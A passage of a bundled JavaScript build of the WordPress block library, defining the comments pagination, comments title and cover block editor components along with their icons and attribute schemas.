10311const comments_pagination_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments-pagination","title":"Comments Pagination","category":"theme","parent":["core/comments"],"allowedBlocks":["core/comments-pagination-previous","core/comments-pagination-numbers","core/comments-pagination-next"],"description":"Displays a paginated navigation to next/previous set of comments, when applicable.","textdomain":"default","attributes":{"paginationArrow":{"type":"string","default":"none"}},"example":{"attributes":{"paginationArrow":"none"}},"providesContext":{"comments/paginationArrow":"paginationArrow"},"supports":{"align":true,"reusable":false,"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"layout":{"allowSwitching":false,"allowInheriting":false,"default":{"type":"flex"}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-comments-pagination-editor","style":"wp-block-comments-pagination"}');
10312;// ./node_modules/@wordpress/block-library/build-module/comments-pagination/comments-pagination-arrow-controls.js
10313
10314
10315
10316function CommentsPaginationArrowControls({ value, onChange }) {
10317 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10318 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
10319 {
10320 __next40pxDefaultSize: true,
10321 __nextHasNoMarginBottom: true,
10322 label: (0,external_wp_i18n_namespaceObject.__)("Arrow"),
10323 value,
10324 onChange,
10325 help: (0,external_wp_i18n_namespaceObject.__)(
10326 "A decorative arrow appended to the next and previous comments link."
10327 ),
10328 isBlock: true,
10329 children: [
10330 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10331 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
10332 {
10333 value: "none",
10334 label: (0,external_wp_i18n_namespaceObject._x)(
10335 "None",
10336 "Arrow option for Comments Pagination Next/Previous blocks"
10337 )
10338 }
10339 ),
10340 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10341 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
10342 {
10343 value: "arrow",
10344 label: (0,external_wp_i18n_namespaceObject._x)(
10345 "Arrow",
10346 "Arrow option for Comments Pagination Next/Previous blocks"
10347 )
10348 }
10349 ),
10350 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10351 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
10352 {
10353 value: "chevron",
10354 label: (0,external_wp_i18n_namespaceObject._x)(
10355 "Chevron",
10356 "Arrow option for Comments Pagination Next/Previous blocks"
10357 )
10358 }
10359 )
10360 ]
10361 }
10362 );
10363}
10364
10365
10366;// ./node_modules/@wordpress/block-library/build-module/comments-pagination/edit.js
10367
10368
10369
10370
10371
10372
10373
10374const comments_pagination_edit_TEMPLATE = [
10375 ["core/comments-pagination-previous"],
10376 ["core/comments-pagination-numbers"],
10377 ["core/comments-pagination-next"]
10378];
10379function QueryPaginationEdit({
10380 attributes: { paginationArrow },
10381 setAttributes,
10382 clientId
10383}) {
10384 const hasNextPreviousBlocks = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10385 const { getBlocks } = select(external_wp_blockEditor_namespaceObject.store);
10386 const innerBlocks = getBlocks(clientId);
10387 return innerBlocks?.find((innerBlock) => {
10388 return [
10389 "core/comments-pagination-previous",
10390 "core/comments-pagination-next"
10391 ].includes(innerBlock.name);
10392 });
10393 }, []);
10394 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
10395 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
10396 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
10397 template: comments_pagination_edit_TEMPLATE
10398 });
10399 const pageComments = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10400 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
10401 const { __experimentalDiscussionSettings } = getSettings();
10402 return __experimentalDiscussionSettings?.pageComments;
10403 }, []);
10404 if (!pageComments) {
10405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)(
10406 "Comments Pagination block: paging comments is disabled in the Discussion Settings"
10407 ) });
10408 }
10409 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10410 hasNextPreviousBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10411 external_wp_components_namespaceObject.__experimentalToolsPanel,
10412 {
10413 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
10414 dropdownMenuProps,
10415 resetAll: () => setAttributes({ paginationArrow: "none" }),
10416 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10417 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
10418 {
10419 label: (0,external_wp_i18n_namespaceObject.__)("Arrow"),
10420 hasValue: () => paginationArrow !== "none",
10421 onDeselect: () => setAttributes({ paginationArrow: "none" }),
10422 isShownByDefault: true,
10423 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10424 CommentsPaginationArrowControls,
10425 {
10426 value: paginationArrow,
10427 onChange: (value) => {
10428 setAttributes({ paginationArrow: value });
10429 }
10430 }
10431 )
10432 }
10433 )
10434 }
10435 ) }),
10436 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
10437 ] });
10438}
10439
10440
10441;// ./node_modules/@wordpress/block-library/build-module/comments-pagination/save.js
10442
10443
10444function comments_pagination_save_save() {
10445 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
10446}
10447
10448
10449;// ./node_modules/@wordpress/block-library/build-module/comments-pagination/index.js
10450
10451
10452
10453
10454
10455const { name: comments_pagination_name } = comments_pagination_block_namespaceObject;
10456const comments_pagination_settings = {
10457 icon: query_pagination_default,
10458 edit: QueryPaginationEdit,
10459 save: comments_pagination_save_save
10460};
10461const comments_pagination_init = () => initBlock({ name: comments_pagination_name, metadata: comments_pagination_block_namespaceObject, settings: comments_pagination_settings });
10462
10463
10464;// ./node_modules/@wordpress/icons/build-module/library/query-pagination-next.js
10465
10466
10467var query_pagination_next_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 13.5h3v-3H5v3zm5 0h3v-3h-3v3zM17 9l-1 1 2 2-2 2 1 1 3-3-3-3z" }) });
10468
10469
10470;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-next/block.json
10471const comments_pagination_next_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments-pagination-next","title":"Comments Next Page","category":"theme","parent":["core/comments-pagination"],"description":"Displays the next comment\'s page link.","textdomain":"default","attributes":{"label":{"type":"string"}},"usesContext":["postId","comments/paginationArrow"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
10472;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-next/edit.js
10473
10474
10475
10476const edit_arrowMap = {
10477 none: "",
10478 arrow: "\u2192",
10479 chevron: "\xBB"
10480};
10481function CommentsPaginationNextEdit({
10482 attributes: { label },
10483 setAttributes,
10484 context: { "comments/paginationArrow": paginationArrow }
10485}) {
10486 const displayArrow = edit_arrowMap[paginationArrow];
10487 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10488 "a",
10489 {
10490 href: "#comments-pagination-next-pseudo-link",
10491 onClick: (event) => event.preventDefault(),
10492 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(),
10493 children: [
10494 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10495 external_wp_blockEditor_namespaceObject.PlainText,
10496 {
10497 __experimentalVersion: 2,
10498 tagName: "span",
10499 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Newer comments page link"),
10500 placeholder: (0,external_wp_i18n_namespaceObject.__)("Newer Comments"),
10501 value: label,
10502 onChange: (newLabel) => setAttributes({ label: newLabel })
10503 }
10504 ),
10505 displayArrow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10506 "span",
10507 {
10508 className: `wp-block-comments-pagination-next-arrow is-arrow-${paginationArrow}`,
10509 children: displayArrow
10510 }
10511 )
10512 ]
10513 }
10514 );
10515}
10516
10517
10518;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-next/index.js
10519
10520
10521
10522
10523
10524const { name: comments_pagination_next_name } = comments_pagination_next_block_namespaceObject;
10525const comments_pagination_next_settings = {
10526 icon: query_pagination_next_default,
10527 edit: CommentsPaginationNextEdit,
10528 example: {
10529 attributes: {
10530 label: (0,external_wp_i18n_namespaceObject.__)("Newer Comments")
10531 }
10532 }
10533};
10534const comments_pagination_next_init = () => initBlock({ name: comments_pagination_next_name, metadata: comments_pagination_next_block_namespaceObject, settings: comments_pagination_next_settings });
10535
10536
10537;// ./node_modules/@wordpress/icons/build-module/library/query-pagination-numbers.js
10538
10539
10540var query_pagination_numbers_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 13.5h6v-3H4v3zm8.2-2.5.8-.3V14h1V9.3l-2.2.7.4 1zm7.1-1.2c-.5-.6-1.2-.5-1.7-.4-.3.1-.5.2-.7.3l.1 1.1c.2-.2.5-.4.8-.5.3-.1.6 0 .7.1.2.3 0 .8-.2 1.1-.5.8-.9 1.6-1.4 2.5h2.7v-1h-.9c.3-.6.8-1.4.9-2.1 0-.3-.1-.8-.3-1.1z" }) });
10541
10542
10543;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-numbers/block.json
10544const comments_pagination_numbers_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments-pagination-numbers","title":"Comments Page Numbers","category":"theme","parent":["core/comments-pagination"],"description":"Displays a list of page numbers for comments pagination.","textdomain":"default","usesContext":["postId"],"supports":{"reusable":false,"html":false,"color":{"gradients":true,"text":false,"__experimentalDefaultControls":{"background":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}}}');
10545;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-numbers/edit.js
10546
10547
10548const PaginationItem = ({ content, tag: Tag = "a", extraClass = "" }) => Tag === "a" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10549 Tag,
10550 {
10551 className: `page-numbers ${extraClass}`,
10552 href: "#comments-pagination-numbers-pseudo-link",
10553 onClick: (event) => event.preventDefault(),
10554 children: content
10555 }
10556) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { className: `page-numbers ${extraClass}`, children: content });
10557function CommentsPaginationNumbersEdit() {
10558 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: [
10559 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "1" }),
10560 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "2" }),
10561 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "3", tag: "span", extraClass: "current" }),
10562 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "4" }),
10563 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "5" }),
10564 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "...", tag: "span", extraClass: "dots" }),
10565 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PaginationItem, { content: "8" })
10566 ] });
10567}
10568
10569
10570;// ./node_modules/@wordpress/block-library/build-module/comments-pagination-numbers/index.js
10571
10572
10573
10574
10575const { name: comments_pagination_numbers_name } = comments_pagination_numbers_block_namespaceObject;
10576const comments_pagination_numbers_settings = {
10577 icon: query_pagination_numbers_default,
10578 edit: CommentsPaginationNumbersEdit,
10579 example: {}
10580};
10581const comments_pagination_numbers_init = () => initBlock({ name: comments_pagination_numbers_name, metadata: comments_pagination_numbers_block_namespaceObject, settings: comments_pagination_numbers_settings });
10582
10583
10584;// ./node_modules/@wordpress/icons/build-module/library/title.js
10585
10586
10587var title_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m4 5.5h2v6.5h1.5v-6.5h2v-1.5h-5.5zm16 10.5h-16v-1.5h16zm-7 4h-9v-1.5h9z" }) });
10588
10589
10590;// ./node_modules/@wordpress/block-library/build-module/comments-title/block.json
10591const comments_title_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments-title","title":"Comments Title","category":"theme","ancestor":["core/comments"],"description":"Displays a title with the number of comments.","textdomain":"default","usesContext":["postId","postType"],"attributes":{"textAlign":{"type":"string"},"showPostTitle":{"type":"boolean","default":true},"showCommentsCount":{"type":"boolean","default":true},"level":{"type":"number","default":2},"levelOptions":{"type":"array"}},"supports":{"anchor":false,"align":true,"html":false,"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true,"__experimentalFontFamily":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true}},"interactivity":{"clientNavigation":true}}}');
10592;// ./node_modules/@wordpress/block-library/build-module/comments-title/edit.js
10593
10594
10595
10596
10597
10598
10599
10600
10601
10602
10603
10604function comments_title_edit_Edit({
10605 attributes: {
10606 textAlign,
10607 showPostTitle,
10608 showCommentsCount,
10609 level,
10610 levelOptions
10611 },
10612 setAttributes,
10613 context: { postType, postId }
10614}) {
10615 const TagName = "h" + level;
10616 const [commentsCount, setCommentsCount] = (0,external_wp_element_namespaceObject.useState)();
10617 const [rawTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)("postType", postType, "title", postId);
10618 const isSiteEditor = typeof postId === "undefined";
10619 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
10620 className: dist_clsx({
10621 [`has-text-align-${textAlign}`]: textAlign
10622 })
10623 });
10624 const {
10625 threadCommentsDepth,
10626 threadComments,
10627 commentsPerPage,
10628 pageComments
10629 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
10630 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
10631 return getSettings().__experimentalDiscussionSettings;
10632 });
10633 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
10634 (0,external_wp_element_namespaceObject.useEffect)(() => {
10635 if (isSiteEditor) {
10636 const nestedCommentsNumber = threadComments ? Math.min(threadCommentsDepth, 3) - 1 : 0;
10637 const topLevelCommentsNumber = pageComments ? commentsPerPage : 3;
10638 const commentsNumber = parseInt(nestedCommentsNumber) + parseInt(topLevelCommentsNumber);
10639 setCommentsCount(Math.min(commentsNumber, 3));
10640 return;
10641 }
10642 const currentPostId = postId;
10643 external_wp_apiFetch_default()({
10644 path: (0,external_wp_url_namespaceObject.addQueryArgs)("/wp/v2/comments", {
10645 post: postId,
10646 _fields: "id"
10647 }),
10648 method: "HEAD",
10649 parse: false
10650 }).then((res) => {
10651 if (currentPostId === postId) {
10652 setCommentsCount(
10653 parseInt(res.headers.get("X-WP-Total"))
10654 );
10655 }
10656 }).catch(() => {
10657 setCommentsCount(0);
10658 });
10659 }, [postId]);
10660 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
10661 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10662 external_wp_blockEditor_namespaceObject.AlignmentControl,
10663 {
10664 value: textAlign,
10665 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
10666 }
10667 ),
10668 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10669 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
10670 {
10671 value: level,
10672 options: levelOptions,
10673 onChange: (newLevel) => setAttributes({ level: newLevel })
10674 }
10675 )
10676 ] });
10677 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
10678 external_wp_components_namespaceObject.__experimentalToolsPanel,
10679 {
10680 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
10681 resetAll: () => {
10682 setAttributes({
10683 showPostTitle: true,
10684 showCommentsCount: true
10685 });
10686 },
10687 dropdownMenuProps,
10688 children: [
10689 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10690 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
10691 {
10692 label: (0,external_wp_i18n_namespaceObject.__)("Show post title"),
10693 isShownByDefault: true,
10694 hasValue: () => !showPostTitle,
10695 onDeselect: () => setAttributes({ showPostTitle: true }),
10696 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10697 external_wp_components_namespaceObject.ToggleControl,
10698 {
10699 __nextHasNoMarginBottom: true,
10700 label: (0,external_wp_i18n_namespaceObject.__)("Show post title"),
10701 checked: showPostTitle,
10702 onChange: (value) => setAttributes({ showPostTitle: value })
10703 }
10704 )
10705 }
10706 ),
10707 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10708 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
10709 {
10710 label: (0,external_wp_i18n_namespaceObject.__)("Show comments count"),
10711 isShownByDefault: true,
10712 hasValue: () => !showCommentsCount,
10713 onDeselect: () => setAttributes({ showCommentsCount: true }),
10714 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10715 external_wp_components_namespaceObject.ToggleControl,
10716 {
10717 __nextHasNoMarginBottom: true,
10718 label: (0,external_wp_i18n_namespaceObject.__)("Show comments count"),
10719 checked: showCommentsCount,
10720 onChange: (value) => setAttributes({ showCommentsCount: value })
10721 }
10722 )
10723 }
10724 )
10725 ]
10726 }
10727 ) });
10728 const postTitle = isSiteEditor ? (0,external_wp_i18n_namespaceObject.__)("\u201CPost Title\u201D") : `"${rawTitle}"`;
10729 let placeholder;
10730 if (showCommentsCount && commentsCount !== void 0) {
10731 if (showPostTitle) {
10732 if (commentsCount === 1) {
10733 placeholder = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("One response to %s"), postTitle);
10734 } else {
10735 placeholder = (0,external_wp_i18n_namespaceObject.sprintf)(
10736 /* translators: 1: Number of comments, 2: Post title. */
10737 (0,external_wp_i18n_namespaceObject._n)(
10738 "%1$s response to %2$s",
10739 "%1$s responses to %2$s",
10740 commentsCount
10741 ),
10742 commentsCount,
10743 postTitle
10744 );
10745 }
10746 } else if (commentsCount === 1) {
10747 placeholder = (0,external_wp_i18n_namespaceObject.__)("One response");
10748 } else {
10749 placeholder = (0,external_wp_i18n_namespaceObject.sprintf)(
10750 /* translators: %s: Number of comments. */
10751 (0,external_wp_i18n_namespaceObject._n)("%s response", "%s responses", commentsCount),
10752 commentsCount
10753 );
10754 }
10755 } else if (showPostTitle) {
10756 if (commentsCount === 1) {
10757 placeholder = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Response to %s"), postTitle);
10758 } else {
10759 placeholder = (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Responses to %s"), postTitle);
10760 }
10761 } else if (commentsCount === 1) {
10762 placeholder = (0,external_wp_i18n_namespaceObject.__)("Response");
10763 } else {
10764 placeholder = (0,external_wp_i18n_namespaceObject.__)("Responses");
10765 }
10766 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
10767 blockControls,
10768 inspectorControls,
10769 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: placeholder })
10770 ] });
10771}
10772
10773
10774;// ./node_modules/@wordpress/block-library/build-module/comments-title/deprecated.js
10775
10776const { attributes, supports } = comments_title_block_namespaceObject;
10777var comments_title_deprecated_deprecated_default = [
10778 {
10779 attributes: {
10780 ...attributes,
10781 singleCommentLabel: {
10782 type: "string"
10783 },
10784 multipleCommentsLabel: {
10785 type: "string"
10786 }
10787 },
10788 supports,
10789 migrate: (oldAttributes) => {
10790 const {
10791 singleCommentLabel,
10792 multipleCommentsLabel,
10793 ...newAttributes
10794 } = oldAttributes;
10795 return newAttributes;
10796 },
10797 isEligible: ({ multipleCommentsLabel, singleCommentLabel }) => multipleCommentsLabel || singleCommentLabel,
10798 save: () => null
10799 }
10800];
10801
10802
10803;// ./node_modules/@wordpress/block-library/build-module/comments-title/index.js
10804
10805
10806
10807
10808
10809const { name: comments_title_name } = comments_title_block_namespaceObject;
10810const comments_title_settings = {
10811 icon: title_default,
10812 edit: comments_title_edit_Edit,
10813 deprecated: comments_title_deprecated_deprecated_default,
10814 example: {}
10815};
10816const comments_title_init = () => initBlock({ name: comments_title_name, metadata: comments_title_block_namespaceObject, settings: comments_title_settings });
10817
10818
10819;// ./node_modules/@wordpress/icons/build-module/library/cover.js
10820
10821
10822var cover_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h6.2v8.9l2.5-3.1 2.5 3.1V4.5h2.2c.4 0 .8.4.8.8v13.4z" }) });
10823
10824
10825;// ./node_modules/@wordpress/block-library/build-module/cover/shared.js
10826
10827const POSITION_CLASSNAMES = {
10828 "top left": "is-position-top-left",
10829 "top center": "is-position-top-center",
10830 "top right": "is-position-top-right",
10831 "center left": "is-position-center-left",
10832 "center center": "is-position-center-center",
10833 center: "is-position-center-center",
10834 "center right": "is-position-center-right",
10835 "bottom left": "is-position-bottom-left",
10836 "bottom center": "is-position-bottom-center",
10837 "bottom right": "is-position-bottom-right"
10838};
10839const IMAGE_BACKGROUND_TYPE = "image";
10840const VIDEO_BACKGROUND_TYPE = "video";
10841const COVER_MIN_HEIGHT = 50;
10842const COVER_MAX_HEIGHT = 1e3;
10843const COVER_DEFAULT_HEIGHT = 300;
10844const DEFAULT_FOCAL_POINT = { x: 0.5, y: 0.5 };
10845const shared_ALLOWED_MEDIA_TYPES = ["image", "video"];
10846function mediaPosition({ x, y } = DEFAULT_FOCAL_POINT) {
10847 return `${Math.round(x * 100)}% ${Math.round(y * 100)}%`;
10848}
10849function dimRatioToClass(ratio) {
10850 return ratio === 50 || ratio === void 0 ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
10851}
10852function attributesFromMedia(media) {
10853 if (!media || !media.url && !media.src) {
10854 return {
10855 url: void 0,
10856 id: void 0
10857 };
10858 }
10859 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
10860 media.type = (0,external_wp_blob_namespaceObject.getBlobTypeByURL)(media.url);
10861 }
10862 let mediaType;
10863 if (media.media_type) {
10864 if (media.media_type === IMAGE_BACKGROUND_TYPE) {
10865 mediaType = IMAGE_BACKGROUND_TYPE;
10866 } else {
10867 mediaType = VIDEO_BACKGROUND_TYPE;
10868 }
10869 } else if (media.type && (media.type === IMAGE_BACKGROUND_TYPE || media.type === VIDEO_BACKGROUND_TYPE)) {
10870 mediaType = media.type;
10871 } else {
10872 return;
10873 }
10874 return {
10875 url: media.url || media.src,
10876 id: media.id,
10877 alt: media?.alt,
10878 backgroundType: mediaType,
10879 ...mediaType === VIDEO_BACKGROUND_TYPE ? { hasParallax: void 0 } : {}
10880 };
10881}
10882function isContentPositionCenter(contentPosition) {
10883 return !contentPosition || contentPosition === "center center" || contentPosition === "center";
10884}
10885function getPositionClassName(contentPosition) {
10886 if (isContentPositionCenter(contentPosition)) {
10887 return "";
10888 }
10889 return POSITION_CLASSNAMES[contentPosition];
10890}
10891
10892
10893;// ./node_modules/@wordpress/block-library/build-module/cover/deprecated.js
10894
10895
10896
10897
10898
10899
10900
10901function backgroundImageStyles(url) {
10902 return url ? { backgroundImage: `url(${url})` } : {};
10903}
10904function dimRatioToClassV1(ratio) {
10905 return ratio === 0 || ratio === 50 || !ratio ? null : "has-background-dim-" + 10 * Math.round(ratio / 10);
10906}
10907function migrateDimRatio(attributes) {
10908 return {
10909 ...attributes,
10910 dimRatio: !attributes.url ? 100 : attributes.dimRatio
10911 };
10912}
10913function migrateTag(attributes) {
10914 if (!attributes.tagName) {
10915 attributes = {
10916 ...attributes,
10917 tagName: "div"
10918 };
10919 }
10920 return {
10921 ...attributes
10922 };
10923}
10924const deprecated_blockAttributes = {
10925 url: {
10926 type: "string"
10927 },
10928 id: {
10929 type: "number"
10930 },
10931 hasParallax: {
10932 type: "boolean",
10933 default: false
10934 },
10935 dimRatio: {
10936 type: "number",
10937 default: 50
10938 },
10939 overlayColor: {
10940 type: "string"
10941 },
10942 customOverlayColor: {
10943 type: "string"
10944 },
10945 backgroundType: {
10946 type: "string",
10947 default: "image"
10948 },
10949 focalPoint: {
10950 type: "object"
10951 }
10952};
10953const v8ToV11BlockAttributes = {
10954 url: {
10955 type: "string"
10956 },
10957 id: {
10958 type: "number"
10959 },
10960 alt: {
10961 type: "string",
10962 source: "attribute",
10963 selector: "img",
10964 attribute: "alt",
10965 default: ""
10966 },
10967 hasParallax: {
10968 type: "boolean",
10969 default: false
10970 },
10971 isRepeated: {
10972 type: "boolean",
10973 default: false
10974 },
10975 dimRatio: {
10976 type: "number",
10977 default: 100
10978 },
10979 overlayColor: {
10980 type: "string"
10981 },
10982 customOverlayColor: {
10983 type: "string"
10984 },
10985 backgroundType: {
10986 type: "string",
10987 default: "image"
10988 },
10989 focalPoint: {
10990 type: "object"
10991 },
10992 minHeight: {
10993 type: "number"
10994 },
10995 minHeightUnit: {
10996 type: "string"
10997 },
10998 gradient: {
10999 type: "string"
11000 },
11001 customGradient: {
11002 type: "string"
11003 },
11004 contentPosition: {
11005 type: "string"
11006 },
11007 isDark: {
11008 type: "boolean",
11009 default: true
11010 },
11011 allowedBlocks: {
11012 type: "array"
11013 },
11014 templateLock: {
11015 type: ["string", "boolean"],
11016 enum: ["all", "insert", false]
11017 }
11018};
11019const v12toV13BlockAttributes = {
11020 ...v8ToV11BlockAttributes,
11021 useFeaturedImage: {
11022 type: "boolean",
11023 default: false
11024 },
11025 tagName: {
11026 type: "string",
11027 default: "div"
11028 }
11029};
11030const v14BlockAttributes = {
11031 ...v12toV13BlockAttributes,
11032 isUserOverlayColor: {
11033 type: "boolean"
11034 },
11035 sizeSlug: {
11036 type: "string"
11037 },
11038 alt: {
11039 type: "string",
11040 default: ""
11041 }
11042};
11043const v7toV11BlockSupports = {
11044 anchor: true,
11045 align: true,
11046 html: false,
11047 spacing: {
11048 padding: true,
11049 __experimentalDefaultControls: {
11050 padding: true
11051 }
11052 },
11053 color: {
